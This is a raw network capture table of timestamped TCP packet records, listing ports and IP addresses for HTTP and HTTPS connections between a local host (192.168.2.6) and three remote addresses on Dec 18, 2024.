Dec 18, 2024 11:47:36.926889896 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.927747965 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.927792072 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.927967072 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.928009033 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.928847075 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.928891897 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.928997040 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.929034948 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.930018902 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.930032969 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.930066109 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.930087090 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.930986881 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.931031942 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.931123018 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.931163073 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.932173014 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.932185888 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.932239056 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.933146954 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.933192968 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.933334112 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.933376074 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.934366941 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.934412956 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.934541941 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.934581995 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.935391903 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.935432911 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.935523033 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.935560942 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.936213017 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.936258078 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.936407089 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.936454058 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.937326908 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.937372923 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.937495947 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.937536001 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.938536882 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.938549995 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.938579082 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.938599110 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.939049006 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.939091921 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.939300060 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.939340115 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.940150023 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.940196037 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.940278053 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.940315008 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.942949057 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.942967892 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.943003893 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.943422079 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.943434954 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.943464041 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.943484068 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.943748951 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.943789959 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.943932056 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.944014072 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.944756985 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.944797039 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.944960117 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.944997072 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.945930958 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.946093082 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.946139097 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.947118998 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.947134018 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.948098898 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.948163986 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.948227882 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.949054956 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.949098110 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.949212074 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.950037003 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.950082064 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.950197935 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.950234890 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.951220989 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.951323986 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.951373100 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.951417923 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.952256918 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.952315092 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.952440023 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.952526093 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.953260899 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.953322887 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.953448057 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.953494072 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.954278946 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.954329967 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.954432011 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.955456018 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.955512047 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.955590010 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.956552029 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.956562996 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.956599951 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.957595110 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.958257914 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.092731953 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.092837095 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.092915058 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.093187094 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.093468904 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.093523026 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.094341040 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.094504118 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.094547033 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.095288992 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.095334053 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.095336914 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.096422911 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.096468925 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.096591949 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.098300934 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.098390102 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.098588943 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.098632097 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.099507093 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.099560022 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.099606991 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.100219965 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.100269079 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.100296021 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.101056099 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.101099014 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.101114035 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.101728916 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.101792097 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.101831913 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.102200031 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.102751017 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.102802992 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.102895975 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.102951050 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.103802919 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.103842974 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.103910923 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.103946924 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.104902029 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.104948997 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.105021954 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.105060101 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.106019974 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.106069088 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.106129885 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.106205940 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.107022047 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.107069016 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.107197046 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.107238054 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.108114004 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.108254910 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.108304977 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.109138966 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.109321117 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.109363079 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.110212088 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.110255957 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.110312939 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.111274004 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.111320972 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.111403942 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.112370014 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.112381935 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.112410069 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.112425089 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.113452911 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.113492966 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.113531113 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.114299059 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.114479065 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.114517927 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.114577055 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.114609957 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.115530968 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.115554094 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.115576982 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.115593910 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.116624117 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.116673946 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.116693020 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.116714001 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.117748976 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.117837906 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.117847919 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.118047953 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.118694067 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.118859053 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.118902922 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.119865894 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.119986057 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.120033979 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.120922089 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.120968103 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.121021032 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.122035027 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.122081995 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.122167110 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.122299910 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.122997999 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.123095989 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.123137951 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.124032974 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.124150991 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.124197006 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.125122070 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.125225067 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.125276089 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.126204014 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.126307011 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.126318932 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.127341032 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.127357960 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.127387047 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.127413988 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.128317118 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.128423929 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.128468037 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.129394054 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.129519939 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.129558086 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.130424023 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.130568981 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.130609989 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.131539106 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.131586075 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.131724119 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.132611036 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.132663965 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.132688999 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.133657932 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.133708000 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.133740902 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.134306908 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.134731054 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.134804010 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.134865999 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.135778904 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.135890961 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.135945082 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.136835098 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.136946917 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.137000084 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.137877941 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.138072014 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.138125896 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.138987064 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.139065981 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.139113903 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.140017986 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.140166998 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.140218019 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.141113997 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.141170025 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.141242981 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.142152071 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.142195940 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.142251968 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.142308950 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.143306971 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.143359900 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.143402100 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.144269943 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.144370079 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.144412041 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.145355940 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.145400047 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.145442009 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.146300077 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:37.146356106 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:37.146394014 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:39.372992992 CET	49855	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:39.373270988 CET	49873	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:39.492758036 CET	80	49873	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:39.492844105 CET	49873	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:39.493190050 CET	49873	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:39.505855083 CET	80	49855	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:39.505959988 CET	49855	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:39.612807035 CET	80	49873	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:41.298697948 CET	80	49873	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:41.298783064 CET	49873	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:41.301498890 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:41.301846027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:41.421546936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:41.421677113 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:41.421693087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:41.421768904 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:41.422080994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:41.541734934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:41.722773075 CET	49880	443	192.168.2.6	104.21.64.80
Dec 18, 2024 11:47:41.722832918 CET	443	49880	104.21.64.80	192.168.2.6
Dec 18, 2024 11:47:41.723005056 CET	49880	443	192.168.2.6	104.21.64.80
Dec 18, 2024 11:47:41.748730898 CET	49880	443	192.168.2.6	104.21.64.80
Dec 18, 2024 11:47:41.748756886 CET	443	49880	104.21.64.80	192.168.2.6
Dec 18, 2024 11:47:42.741074085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.741102934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.741115093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.741153002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.741168022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.741192102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.741251945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.741283894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.741311073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.741319895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.741322994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.741350889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.741373062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.741420984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.741432905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.741470098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.861066103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.861085892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.861165047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.864177942 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.864346027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.932164907 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.932275057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.932380915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.936460018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.936547041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.936629057 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.945276976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.945893049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.948112011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.948174000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.948220015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.956196070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.956280947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.956340075 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.964667082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.964694023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.964874029 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.965194941 CET	443	49880	104.21.64.80	192.168.2.6
